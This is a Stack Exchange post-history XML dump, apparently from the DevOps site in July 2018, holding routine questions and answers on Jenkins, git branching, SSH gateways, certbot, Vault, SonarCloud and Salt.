  <row Id="14083" PostHistoryTypeId="5" PostId="4489" RevisionGUID="951d4f50-67c3-40b0-becc-ef4119a0f1f1" CreationDate="2018-07-10T15:59:50.933" UserId="8707" Comment="added 190 characters in body" Text="I am attempting to automate imports and exports of Oracle's PeopleSoft Application Designer. It is a GUI program but it can operate in the windows command line for certain tasks. [This project has examples][1] of how it is used in the command line.&#xD;&#xA;&#xD;&#xA;The problem is that despite having parameters to hide the GUI, splash screen and to auto-quit, it is hanging when run in Jenkins. My suspicion is that despite hiding all graphics, the Windows Desktop Window Manager (or something) is still being called and Jenkins has no way to deal with that. I think this because when I execute the command, my CMD window loses focus.&#xD;&#xA;&#xD;&#xA;I have tried both with &quot;Execute windows batch command&quot; and with Git Bash, &quot;Execute Shell&quot; and calling cmd.exe.&#xD;&#xA;&#xD;&#xA;When I run this in the actual git bash window without hiding the GUI, the GUI still pops up, so the Git Bah program doesn't have the same issue.&#xD;&#xA;&#xD;&#xA;**How can I either suppress all GUI in a windows command OR give the program somewhere to put these invisible windows?**&#xD;&#xA;&#xD;&#xA;Alternatively, if I am way off base with this assumption that GUI is the problem, how can I troubleshoot?&#xD;&#xA;&#xD;&#xA;The command I am using in bash:&#xD;&#xA;&#xD;&#xA;`cmd.exe /c &quot;PSIDE.EXE -HIDE -SS NO -SN NO -PJTF TEST_PROJECT_NAME -FP C:\export -CT ORACLE -CD $PS_PROJ_DB -CO $PS_PROJ_USER -CP $PS_PROJ_PASS -QUIT&quot;`&#xD;&#xA;&#xD;&#xA;Jenkins is installed directly on the Windows machine where the command is running.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/psadmin-io/ps-project-git/tree/master/hooks" ContentLicense="CC BY-SA 4.0" />
  <row Id="14084" PostHistoryTypeId="2" PostId="4490" RevisionGUID="13dd6bf6-70f0-425f-9140-7ea72acd78fa" CreationDate="2018-07-10T18:44:31.477" UserId="7172" Text="we had the same problem, so now we have:&#xD;&#xA;&#xD;&#xA;- jira (stories and tasks) &#xD;&#xA;&#xD;&#xA;- bitbucket (git)&#xD;&#xA;&#xD;&#xA;- bamboo (automated builds all branches and before pull-request)&#xD;&#xA;&#xD;&#xA;brachces:&#xD;&#xA;&#xD;&#xA;- production (only production release any time)&#xD;&#xA;&#xD;&#xA;- master (development but ready to production branch)&#xD;&#xA;&#xD;&#xA;- feature-branches (from master) -&gt; (completed story/task + all tests) -&gt; master&#xD;&#xA;&#xD;&#xA;- hotfix-braches (from production) &#xD;&#xA;                -&gt; all-branches-&gt; production -&gt; master -&gt; feature-branches&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14092" PostHistoryTypeId="2" PostId="4492" RevisionGUID="a8e0ac29-d274-4523-b64e-7f2838784c3f" CreationDate="2018-07-10T22:18:33.920" UserId="4175" Text="&gt; I read in Git, Cherry picking is bad.&#xD;&#xA;&#xD;&#xA;Be careful of such blanket statements. They take on a life of their one, and after a while you have a lot of myths in your team (or workplace) about no cherry-picking, no re-basing, no xyz. These are all just tools; there are times to use them, and times to not use them. Nothing is generally bad.&#xD;&#xA;&#xD;&#xA;&gt; Sometimes , we do not move all Release items into Master, many reasons:, delay schedule, conduct more testing, late issues. What is the proper Git Devops strategy to only move certain items into Master?&#xD;&#xA;&#xD;&#xA;Adam Dymitruk's [Branch per Feature][1] works splendidly for that. In short:&#xD;&#xA;&#xD;&#xA;There are these branches:&#xD;&#xA;&#xD;&#xA;- 1 `master` branch&#xD;&#xA;- 1 `qa` branch&#xD;&#xA;- n `feature-123` branches&#xD;&#xA;&#xD;&#xA;The general principles:&#xD;&#xA;&#xD;&#xA;- *Every* branch starts at `master`.&#xD;&#xA;- *Only* `feature-123` branches receive regular commits.&#xD;&#xA;- `qa` is created by starting fresh from `master`, and then merging any `feature-123` branches that should be in testing. Whenever `qa` needs to be changed, it is created fresh again, there are no other commits into it. This happens very frequently.&#xD;&#xA;- When `qa` has been released/deployed, it is simply renamed to `master` and replaces the previous one. At this point, all remaining `feature-123` branches are rebased onto the new master. The `git rerere` cache is used to avoid having to do repeated conflict resolution.&#xD;&#xA;&#xD;&#xA;This scheme works great *if* you have developers who can stomach the rebases. You frequently find people who think they are bad, or who simply do not allow it - then you're out of look obviously. But if you get it to run in your team, it is very smooth, and ultra flexible. You literally never ever need to &quot;back a commit out&quot; or do cherry-picking to revert a commit, or whatever.&#xD;&#xA;&#xD;&#xA;Read Adam's page, it explains this in more detail, but basically that's about it. You'll need to create your own tooling for the individual steps (for example, to pull the feature branches which are supposed to go into `qa` from your Jira instead of manually doing that), but that's not too hard.&#xD;&#xA;&#xD;&#xA;Addendum:&#xD;&#xA;&#xD;&#xA;- Trivially, you can have more than one `qa`-type branch at any point in time. For example, you will likely start with one that always has all features which are deemed close to &quot;done&quot; (but which may not have successfully passed test yet); and maybe another one (let's call it `rc` - release candidate) which contains a subset of that for the very next release. &#xD;&#xA;- Adam also describes a `ci` branch; it is nice, but optional (we don't use it at all, and are not missing it).&#xD;&#xA;&#xD;&#xA;  [1]: http://dymitruk.com/blog/2012/02/05/branch-per-feature/" ContentLicense="CC BY-SA 4.0" />
  <row Id="14093" PostHistoryTypeId="5" PostId="4485" RevisionGUID="ccf5d753-ac2b-4360-ad1a-e8d5e43e45cf" CreationDate="2018-07-11T00:36:07.207" UserId="8713" Comment="added 148 characters in body" Text="&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;In jenkins pipeline, execute git command : git log --format=%B --no-merges origin/master..origin/${currentBranch}&#xD;&#xA;&#xD;&#xA;jenkins output error :&#xD;&#xA;&#xD;&#xA;fatal: ambiguous argument 'origin/master..origin/XOPS-42_AddResultToJIRA': unknown revision or path not in the working tree.&#xD;&#xA;Use '--' to separate paths from revisions, like this:&#xD;&#xA;'git &lt;command&gt; [&lt;revision&gt;...] -- [&lt;file&gt;...]'&#xD;&#xA;&#xD;&#xA;but in my local computer i execute above git command, it work well, how to resolve above error in jenkins&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14094" PostHistoryTypeId="11" PostId="4485" RevisionGUID="487487da-c24b-4a66-84a8-284ad73be620" CreationDate="2018-07-11T05:31:01.633" UserId="13" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="14095" PostHistoryTypeId="5" PostId="4485" RevisionGUID="0c8cf47f-7548-4882-997c-5fc4fc3df6d5" CreationDate="2018-07-11T05:32:55.193" UserId="13" Comment="Format code and output" Text="&#xD;&#xA;&#xD;&#xA;In jenkins pipeline, execute git command : &#xD;&#xA; &#xD;&#xA;    git log --format=%B --no-merges origin/master..origin/${currentBranch}&#xD;&#xA;&#xD;&#xA;jenkins output error :&#xD;&#xA;&#xD;&#xA;    fatal: ambiguous argument 'origin/master..origin/XOPS-42_AddResultToJIRA': unknown revision or path not in the working tree.&#xD;&#xA;    Use '--' to separate paths from revisions, like this:&#xD;&#xA;    'git &lt;command&gt; [&lt;revision&gt;...] -- [&lt;file&gt;...]'&#xD;&#xA;&#xD;&#xA;but in my local computer i execute above git command, it work well, how to resolve above error in jenkins&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14096" PostHistoryTypeId="2" PostId="4493" RevisionGUID="cbca8f2f-5c2a-4e4f-8144-074bd1dfbcbe" CreationDate="2018-07-11T12:12:28.897" UserId="8544" Text="The best stack depends on what environments and platforms your working with, how much standardization you already have, and if your working with open source or not.  If you have the option of using containers for everything then you can simplify the stack and reduce the tool set used.  &#xD;&#xA;&#xD;&#xA;The other important note is you are deploying application artifacts and configuration as well as system artifacts and configuration.  Many pipelines use different tools for parts but coordinate with an overall coordinator.  The key is that all the configuration, changes etc are managed in the SCM and are deployed.  &#xD;&#xA;&#xD;&#xA;One common open source stack is some flavor of git (Github, Gitlab, etc) along with Jenkins and then ansible for system level configuration and deployment.  This can be used if your using containers or not.  The application deployment capability varies much more as their are more products in the market that specialize in this space so direction competition.  It usually has more to do with the type of application being developed as to which application deployment technology is then used.  &#xD;&#xA;&#xD;&#xA;With your stack there is no reason you could not use Git with Jenkins with Kubernetes which which ever cloud you decide to use.  Cloud choice is based on all sorts of factors many that don't have anything to do with technology.  " ContentLicense="CC BY-SA 4.0" />
  <row Id="14104" PostHistoryTypeId="50" PostId="3602" RevisionGUID="dfdd82cb-5b6c-4f77-b4b0-a019a8e3dba5" CreationDate="2018-07-11T18:04:04.667" UserId="-1" />
  <row Id="14105" PostHistoryTypeId="50" PostId="3542" RevisionGUID="b4f80d27-bdcc-4f6f-a065-241fa7bcb0bb" CreationDate="2018-07-11T21:04:04.713" UserId="-1" />
  <row Id="14106" PostHistoryTypeId="2" PostId="4496" RevisionGUID="02b5832c-db0d-45f1-a1f7-3cc44ec48f6f" CreationDate="2018-07-11T21:10:53.630" UserId="8742" Text="I have started at a new company and am in the process of locking down SSH access to be through a single SSH gateway server.&#xD;&#xA;&#xD;&#xA;My question is, should I create a separate SSH gateway server for each environment? (QA, Dev, Stage, Prod)&#xD;&#xA;&#xD;&#xA;We are fully in AWS so my current plan is to create an SSH Gateway server on a DevOps VPC and create peer connections to the QA/Dev/Stage/Prod VPCs.&#xD;&#xA;&#xD;&#xA;Then I would manage access to environments via SSH keys.&#xD;&#xA;&#xD;&#xA;My concern is that this single SSH gateway server has access to all environments, which is a little terrifying. But that being said, it is easier to manage and monitor access." ContentLicense="CC BY-SA 4.0" />
  <row Id="14107" PostHistoryTypeId="1" PostId="4496" RevisionGUID="02b5832c-db0d-45f1-a1f7-3cc44ec48f6f" CreationDate="2018-07-11T21:10:53.630" UserId="8742" Text="Bad practice having a single SSH gateway with access to all environments?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14108" PostHistoryTypeId="3" PostId="4496" RevisionGUID="02b5832c-db0d-45f1-a1f7-3cc44ec48f6f" CreationDate="2018-07-11T21:10:53.630" UserId="8742" Text="&lt;amazon-web-services&gt;&lt;security&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14110" PostHistoryTypeId="50" PostId="3856" RevisionGUID="4a548e50-5a68-4552-af8f-3cd1449d4a18" CreationDate="2018-07-12T05:08:01.423" UserId="-1" />
  <row Id="14111" PostHistoryTypeId="2" PostId="4497" RevisionGUID="44dbff64-bec1-4aaf-bbe2-cd80553b91d3" CreationDate="2018-07-12T05:51:20.030" UserId="8744" Text="you can add role like below &#xD;&#xA;&#xD;&#xA;    role = &quot;${aws_iam_role.ec2_role_name.name}&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14112" PostHistoryTypeId="2" PostId="4498" RevisionGUID="5b3349e7-00f0-4088-82da-9bf22ab7b10c" CreationDate="2018-07-12T06:01:53.523" UserId="4175" Text="I assume your users connect to the gateway with ssh (possibly with additional credentials like a hardware-generated one-time-password), and then jump to the actual servers with a second ssh connection.&#xD;&#xA;&#xD;&#xA;In itself, this is fine (and the usual thing that's done regularly by companies I've worked with). The secondary ssh connection (still) takes care of only letting those people in who are authorized. The job of the gateway is primarily to avoid the need for the servers to be open to the internet on the network level.&#xD;&#xA;&#xD;&#xA;Obviously, you want to avoid people opening ssh tunnels, using proper settings in your global ssh/sshd configuration, and you will want to tighten down the gateway itself (for example, by having read-only home directories for your incoming users; and having no tools installed that can help in somehow bypassing any of your rules - i.e., no telnet, netcat and so on; ideally a chroot environment in which nothing except the `ssh` executable is available)." ContentLicense="CC BY-SA 4.0" />
  <row Id="14113" PostHistoryTypeId="5" PostId="4498" RevisionGUID="545a182d-709d-4060-9618-caf68b3cb977" CreationDate="2018-07-12T06:21:19.197" UserId="4175" Comment="added 16 characters in body" Text="I assume your users connect to the gateway with ssh (possibly with additional credentials like a hardware-generated one-time-password), and then jump to the actual servers with a second ssh connection.&#xD;&#xA;&#xD;&#xA;In itself, this is fine (and the usual thing that's done regularly by companies I've worked with). The secondary ssh connection (still) takes care of only letting those people in who are authorized. The job of the gateway is primarily to avoid the need for the ssh port of the servers to be open to the internet on the network level.&#xD;&#xA;&#xD;&#xA;Obviously, you want to avoid people opening ssh tunnels, using proper settings in your global ssh/sshd configuration, and you will want to tighten down the gateway itself (for example, by having read-only home directories for your incoming users; and having no tools installed that can help in somehow bypassing any of your rules - i.e., no telnet, netcat and so on; ideally a chroot environment in which nothing except the `ssh` executable is available)." ContentLicense="CC BY-SA 4.0" />
  <row Id="14114" PostHistoryTypeId="2" PostId="4499" RevisionGUID="37f3b5a4-97fe-4b8e-8e44-6b95f37243bc" CreationDate="2018-07-12T07:09:07.550" UserId="707" Text="Thanks to SonarCloud.io, you can perform static code analysis without own infrastructure.&#xD;&#xA;&#xD;&#xA;But, is there an API to access data shown in Sonar [dashboard][1]?&#xD;&#xA;&#xD;&#xA;What I can find so far, is the &quot;[Sonar Web API][2]&quot; documentation but it looks very scarce. There are also docs for older version, but API documented there seems to be no more available.&#xD;&#xA;&#xD;&#xA;Is there more &quot;hidden&quot; API functionality? I can't see it mentioned in the Enterprise edition. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://sonarcloud.io/dashboard?id=fiware.authzforce.server&#xD;&#xA;  [2]: https://docs.sonarqube.org/display/DEV/Web+API" ContentLicense="CC BY-SA 4.0" />
  <row Id="14115" PostHistoryTypeId="1" PostId="4499" RevisionGUID="37f3b5a4-97fe-4b8e-8e44-6b95f37243bc" CreationDate="2018-07-12T07:09:07.550" UserId="707" Text="How to access report data from Sonarcloud.io aka SonarQube API, or functionality no more available?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14116" PostHistoryTypeId="3" PostId="4499" RevisionGUID="37f3b5a4-97fe-4b8e-8e44-6b95f37243bc" CreationDate="2018-07-12T07:09:07.550" UserId="707" Text="&lt;analysis&gt;&lt;sonarqube&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14117" PostHistoryTypeId="2" PostId="4500" RevisionGUID="aa944bc3-9cb7-4265-9ec4-9a60dda4068b" CreationDate="2018-07-12T07:17:46.297" UserId="707" Text="Ok no so obvious but at least one possible way is:&#xD;&#xA;&#xD;&#xA;* Note the component ID in the TravisCI report &#xD;&#xA;* Use the ID and [this documentation][1] to get data:&#xD;&#xA;&#xD;&#xA;    https://sonarcloud.io/api/measures/component?componentId=&lt;ID&gt;&amp;metricKeys=code_smells&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.sonarqube.org/display/SONAR/Metric+Definitions" ContentLicense="CC BY-SA 4.0" />
  <row Id="14120" PostHistoryTypeId="50" PostId="3983" RevisionGUID="bcfa6bfd-ae91-43f0-9e8a-58a750cc2450" CreationDate="2018-07-12T12:08:04.590" UserId="-1" />
  <row Id="14124" PostHistoryTypeId="2" PostId="4502" RevisionGUID="18398b46-c15d-4aa2-9e91-216a7674621e" CreationDate="2018-07-12T15:45:05.127" UserId="4740" Text="I'm using LetsEncrypt CA for SSL certificates with a cron job that renews them. Recently moved one of our domains to dual ipv4/ipv6 stack and now the certificate renewal fails for that domain:&#xD;&#xA;&#xD;&#xA;    Attempting to renew cert (nodrama.io) from /etc/letsencrypt/renewal/nodrama.io.conf produced an unexpected error: Failed authorization procedure.&#xD;&#xA;    &#xD;&#xA;    www.nodrama.io (tls-sni-01): urn:ietf:params:acme:error:unauthorized :: The client lacks sufficient authorization ::&#xD;&#xA;    &#xD;&#xA;    Incorrect validation certificate for tls-sni-01 challenge.&#xD;&#xA;    &#xD;&#xA;    Requested 1d2e60bbb911a0fa373af1c71068a98f.df68ccc953b03b03cbca639fa7b20469.acme.invalid from [2600:1f16:14a:7b00:e9ba:752c:feb8:49d5]:443.&#xD;&#xA;    &#xD;&#xA;    Received 1 certificate(s), first certificate had names &quot;5de1f81c71783962782726ac76156d00.51706d503a8be636f033680ff5a1664e.acme.invalid, dummy&quot;. Skipping.&#xD;&#xA;&#xD;&#xA;If I remove the 443 over ipv6 from the nginx server configuration then the challenge goes through, cert is renewed. &#xD;&#xA;Bring it back and after that the content is availiable on ipv6 over https:&#xD;&#xA;&#xD;&#xA;    Connected to nodrama.io (2600:1f16:14a:7b00:e9ba:752c:feb8:49d5) port 443 (#0)&#xD;&#xA;    * found 592 certificates in /etc/ssl/certs&#xD;&#xA;    * ALPN, offering http/1.1&#xD;&#xA;    * SSL connection using TLS1.2 / ECDHE_RSA_AES_128_GCM_SHA256&#xD;&#xA;    * server certificate verification OK&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14125" PostHistoryTypeId="1" PostId="4502" RevisionGUID="18398b46-c15d-4aa2-9e91-216a7674621e" CreationDate="2018-07-12T15:45:05.127" UserId="4740" Text="certbot renewal fails over ipv6" ContentLicense="CC BY-SA 4.0" />
  <row Id="14126" PostHistoryTypeId="3" PostId="4502" RevisionGUID="18398b46-c15d-4aa2-9e91-216a7674621e" CreationDate="2018-07-12T15:45:05.127" UserId="4740" Text="&lt;ssl&gt;&lt;nginx&gt;&lt;certbot&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14131" PostHistoryTypeId="2" PostId="4503" RevisionGUID="09b1fda2-e110-40ad-9699-24f193f82779" CreationDate="2018-07-12T16:01:23.950" UserDisplayName="user8517" Text="I am looking for help on a direction on where to go from here. I have a Hasicorp Vault server running and accessible over DNS (local). I need to have a script get a secret from it then use that secret. I am not sure where to go from there. I know I want to use a bash script for this but past that I don't know what to do.&#xD;&#xA;&#xD;&#xA;Until now I have been using curl to test it.&#xD;&#xA;&#xD;&#xA;Suggestions?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14132" PostHistoryTypeId="1" PostId="4503" RevisionGUID="09b1fda2-e110-40ad-9699-24f193f82779" CreationDate="2018-07-12T16:01:23.950" UserDisplayName="user8517" Text="Access vault secret from bash script" ContentLicense="CC BY-SA 4.0" />
  <row Id="14133" PostHistoryTypeId="3" PostId="4503" RevisionGUID="09b1fda2-e110-40ad-9699-24f193f82779" CreationDate="2018-07-12T16:01:23.950" UserDisplayName="user8517" Text="&lt;hashicorp-vault&gt;&lt;bash&gt;&lt;curl&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14134" PostHistoryTypeId="2" PostId="4504" RevisionGUID="fc506116-1f85-41fb-9faa-aca3a758b5a4" CreationDate="2018-07-12T18:59:22.020" UserId="8500" Text="I figured this out, and it was related to the opcache settings for PHP in my docker image. The opcache re-validate frequency was set to 60 seconds, meaning that PHP caches files in memory for that long before referring to the filesystem again. Changing this to 2 seconds resolve the issue, but adds a significant performance penalty :(.&#xD;&#xA;&#xD;&#xA;See more info: https://drupal.stackexchange.com/questions/253111/delay-in-code-changes-on-custom-pages-in-drupal-8-in-a-docker-environment" ContentLicense="CC BY-SA 4.0" />
  <row Id="14135" PostHistoryTypeId="2" PostId="4505" RevisionGUID="69a9d836-d70a-4dd7-9b5b-1de0d4118aeb" CreationDate="2018-07-12T18:59:25.010" UserId="739" Text="The [vault docs](https://www.vaultproject.io/docs/commands/read.html) mention a `-field` parameter for the `read` subcommand.  So you should be able to put this into a shell script:&#xD;&#xA;&#xD;&#xA;    SECRET=$(vault read secret/mysecret -field foo)&#xD;&#xA;&#xD;&#xA;[Other vault docs](https://www.vaultproject.io/intro/getting-started/first-secret.html) use the `vault kv get` in the same way so you might try:&#xD;&#xA;&#xD;&#xA;    SECRET=$(vault kv get secret/mysecret -field foo)&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14136" PostHistoryTypeId="2" PostId="4506" RevisionGUID="ac13aa00-a0a7-4acf-b298-8c58d207dd27" CreationDate="2018-07-12T19:35:21.390" UserId="4740" Text="I'm trying to obtain ssl certificate for the following server: &#xD;&#xA;&#xD;&#xA;    server {&#xD;&#xA;      server_name  www.nodrama.io;&#xD;&#xA;      rewrite ^(.*) http://nodrama.io$1 permanent;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    server {&#xD;&#xA;      server_name  nodrama.io;&#xD;&#xA;      listen 80;&#xD;&#xA;      listen [::]:80 ipv6only=on;&#xD;&#xA;    &#xD;&#xA;      error_page 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 420 422 423 424 426 428 429 431 444 449 450 451 500 501 502 503 504 505 506 507 508 509 510 511 /X0X.html;&#xD;&#xA;      location = /X0X.html {&#xD;&#xA;        root /usr/share/nginx/html/;&#xD;&#xA;        internal;&#xD;&#xA;      }&#xD;&#xA;    &#xD;&#xA;      location ~ /.well-known {&#xD;&#xA;        allow all;&#xD;&#xA;      }&#xD;&#xA;    &#xD;&#xA;      location = / {&#xD;&#xA;        # temporary redirect before we server our own page&#xD;&#xA;        rewrite ^/$ http://blog.nodrama.io redirect;&#xD;&#xA;      }&#xD;&#xA;    &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;   Running:&#xD;&#xA;&#xD;&#xA;&gt;  sudo certbot --nginx -d nodrama.io -d www.nodrama.io&#xD;&#xA;&#xD;&#xA;I get:&#xD;&#xA;&#xD;&#xA;    Starting new HTTPS connection (1): acme-v01.api.letsencrypt.org&#xD;&#xA;    Obtaining a new certificate&#xD;&#xA;    Performing the following challenges:&#xD;&#xA;    http-01 challenge for nodrama.io&#xD;&#xA;    http-01 challenge for www.nodrama.io&#xD;&#xA;    Waiting for verification...&#xD;&#xA;    Cleaning up challenges&#xD;&#xA;&#xD;&#xA;    IMPORTANT NOTES:&#xD;&#xA;     - The following errors were reported by the server:&#xD;&#xA;    &#xD;&#xA;       Domain: www.nodrama.io&#xD;&#xA;       Type:   unauthorized&#xD;&#xA;       Detail: Invalid response from&#xD;&#xA;       http://www.nodrama.io/.well-known/acme-challenge/lMEKfsPUnxowmND04ky9sXbFxUERwuna9hsMRHtBv8A:&#xD;&#xA;       &quot;&lt;html&gt;&#xD;&#xA;       &lt;head&gt;&lt;title&gt;404 Not Found&lt;/title&gt;&lt;/head&gt;&#xD;&#xA;       &lt;body bgcolor=&quot;white&quot;&gt;&#xD;&#xA;       &lt;center&gt;&lt;h1&gt;404 Not Found&lt;/h1&gt;&lt;/center&gt;&#xD;&#xA;       &lt;hr&gt;&lt;center&gt;&quot;&#xD;&#xA;    &#xD;&#xA;       Domain: nodrama.io&#xD;&#xA;       Type:   unauthorized&#xD;&#xA;       Detail: Invalid response from&#xD;&#xA;       http://nodrama.io/.well-known/acme-challenge/Wml_6nPNrPebbONMLtNbg7yUaDihATrzYluA91Era9s:&#xD;&#xA;       &quot;&lt;html&gt;&#xD;&#xA;       &lt;head&gt;&lt;title&gt;404 Not Found&lt;/title&gt;&lt;/head&gt;&#xD;&#xA;       &lt;body bgcolor=&quot;white&quot;&gt;&#xD;&#xA;       &lt;center&gt;&lt;h1&gt;404 Not Found&lt;/h1&gt;&lt;/center&gt;&#xD;&#xA;       &lt;hr&gt;&lt;center&gt;&quot;&#xD;&#xA;    &#xD;&#xA;       To fix these errors, please make sure that your domain name was&#xD;&#xA;       entered correctly and the DNS A/AAAA record(s) for that domain&#xD;&#xA;       contain(s) the right IP address.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14137" PostHistoryTypeId="1" PostId="4506" RevisionGUID="ac13aa00-a0a7-4acf-b298-8c58d207dd27" CreationDate="2018-07-12T19:35:21.390" UserId="4740" Text="404 Not Found when obtaining new certificates for nginx" ContentLicense="CC BY-SA 4.0" />
  <row Id="14138" PostHistoryTypeId="3" PostId="4506" RevisionGUID="ac13aa00-a0a7-4acf-b298-8c58d207dd27" CreationDate="2018-07-12T19:35:21.390" UserId="4740" Text="&lt;ssl&gt;&lt;nginx&gt;&lt;certbot&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14139" PostHistoryTypeId="5" PostId="4506" RevisionGUID="7a3b341c-6547-4da0-ae07-fde3dd62a8c2" CreationDate="2018-07-12T19:40:32.817" UserId="4740" Comment="added 141 characters in body" Text="I'm trying to obtain ssl certificate for the following server: &#xD;&#xA;&#xD;&#xA;    server {&#xD;&#xA;      server_name  www.nodrama.io;&#xD;&#xA;      rewrite ^(.*) http://nodrama.io$1 permanent;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    server {&#xD;&#xA;      server_name  nodrama.io;&#xD;&#xA;      listen 80;&#xD;&#xA;      listen [::]:80 ipv6only=on;&#xD;&#xA;    &#xD;&#xA;      error_page 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 420 422 423 424 426 428 429 431 444 449 450 451 500 501 502 503 504 505 506 507 508 509 510 511 /X0X.html;&#xD;&#xA;      location = /X0X.html {&#xD;&#xA;        root /usr/share/nginx/html/;&#xD;&#xA;        internal;&#xD;&#xA;      }&#xD;&#xA;    &#xD;&#xA;      location ~ /.well-known {&#xD;&#xA;        allow all;&#xD;&#xA;      }&#xD;&#xA;    &#xD;&#xA;      location = / {&#xD;&#xA;        # temporary redirect before we server our own page&#xD;&#xA;        rewrite ^/$ http://blog.nodrama.io redirect;&#xD;&#xA;      }&#xD;&#xA;    &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;   Running:&#xD;&#xA;&#xD;&#xA;&gt;  sudo certbot --nginx -d nodrama.io -d www.nodrama.io&#xD;&#xA;&#xD;&#xA;I get:&#xD;&#xA;&#xD;&#xA;    Starting new HTTPS connection (1): acme-v01.api.letsencrypt.org&#xD;&#xA;    Obtaining a new certificate&#xD;&#xA;    Performing the following challenges:&#xD;&#xA;    http-01 challenge for nodrama.io&#xD;&#xA;    http-01 challenge for www.nodrama.io&#xD;&#xA;    Waiting for verification...&#xD;&#xA;    Cleaning up challenges&#xD;&#xA;&#xD;&#xA;    IMPORTANT NOTES:&#xD;&#xA;     - The following errors were reported by the server:&#xD;&#xA;    &#xD;&#xA;       Domain: www.nodrama.io&#xD;&#xA;       Type:   unauthorized&#xD;&#xA;       Detail: Invalid response from&#xD;&#xA;       http://www.nodrama.io/.well-known/acme-challenge/lMEKfsPUnxowmND04ky9sXbFxUERwuna9hsMRHtBv8A:&#xD;&#xA;       &quot;&lt;html&gt;&#xD;&#xA;       &lt;head&gt;&lt;title&gt;404 Not Found&lt;/title&gt;&lt;/head&gt;&#xD;&#xA;       &lt;body bgcolor=&quot;white&quot;&gt;&#xD;&#xA;       &lt;center&gt;&lt;h1&gt;404 Not Found&lt;/h1&gt;&lt;/center&gt;&#xD;&#xA;       &lt;hr&gt;&lt;center&gt;&quot;&#xD;&#xA;    &#xD;&#xA;       Domain: nodrama.io&#xD;&#xA;       Type:   unauthorized&#xD;&#xA;       Detail: Invalid response from&#xD;&#xA;       http://nodrama.io/.well-known/acme-challenge/Wml_6nPNrPebbONMLtNbg7yUaDihATrzYluA91Era9s:&#xD;&#xA;       &quot;&lt;html&gt;&#xD;&#xA;       &lt;head&gt;&lt;title&gt;404 Not Found&lt;/title&gt;&lt;/head&gt;&#xD;&#xA;       &lt;body bgcolor=&quot;white&quot;&gt;&#xD;&#xA;       &lt;center&gt;&lt;h1&gt;404 Not Found&lt;/h1&gt;&lt;/center&gt;&#xD;&#xA;       &lt;hr&gt;&lt;center&gt;&quot;&#xD;&#xA;    &#xD;&#xA;       To fix these errors, please make sure that your domain name was&#xD;&#xA;       entered correctly and the DNS A/AAAA record(s) for that domain&#xD;&#xA;       contain(s) the right IP address.&#xD;&#xA;&#xD;&#xA;I can access a test file:&#xD;&#xA;&#xD;&#xA;[http://nodrama.io/.well-known/acme-challenge/test.txt][1]&#xD;&#xA;[http://www.nodrama.io/.well-known/acme-challenge/test.txt][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://nodrama.io/.well-known/acme-challenge/test.txt&#xD;&#xA;  [2]: http://www.nodrama.io/.well-known/acme-challenge/test.txt" ContentLicense="CC BY-SA 4.0" />
  <row Id="14140" PostHistoryTypeId="50" PostId="1654" RevisionGUID="0d10f1b6-9cf0-40ba-b075-cc45ad527cae" CreationDate="2018-07-13T03:22:59.490" UserId="-1" />
  <row Id="14144" PostHistoryTypeId="2" PostId="4508" RevisionGUID="be4d74da-ff53-41a7-bd20-792a1099ce5f" CreationDate="2018-07-13T09:25:01.160" UserId="8463" Text="I am trying to completely remove the grains from the system. I have one master and one minion setup(minion id= minion1). I am doing&#xD;&#xA;&#xD;&#xA;&gt; salt minion1 grains.ls&#xD;&#xA;&#xD;&#xA;that is listing me all the grains&#xD;&#xA;&#xD;&#xA;Now I removed data.p which is the cache memory for the grains in master&#xD;&#xA;&#xD;&#xA;    path : /var/cache/salt/master/minions/minion1/data.p&#xD;&#xA;&#xD;&#xA;Without running a salt_sync or any other command for sync I am again doing.&#xD;&#xA;&#xD;&#xA;     `salt minion1 grains.ls`,&#xD;&#xA;&#xD;&#xA;it's returning the same resul t.(The grains are still somewhere stored. My question is where exactly it is storing the grains and how to delete that.&#xD;&#xA;&#xD;&#xA;Thanks in Advance :)" ContentLicense="CC BY-SA 4.0" />
  <row Id="14145" PostHistoryTypeId="1" PostId="4508" RevisionGUID="be4d74da-ff53-41a7-bd20-792a1099ce5f" CreationDate="2018-07-13T09:25:01.160" UserId="8463" Text="Not able to find the exact path for grains storage in master" ContentLicense="CC BY-SA 4.0" />
  <row Id="14146" PostHistoryTypeId="3" PostId="4508" RevisionGUID="be4d74da-ff53-41a7-bd20-792a1099ce5f" CreationDate="2018-07-13T09:25:01.160" UserId="8463" Text="&lt;salt&gt;&lt;devsecops&gt;" ContentLicense="CC BY-SA 4.0" />
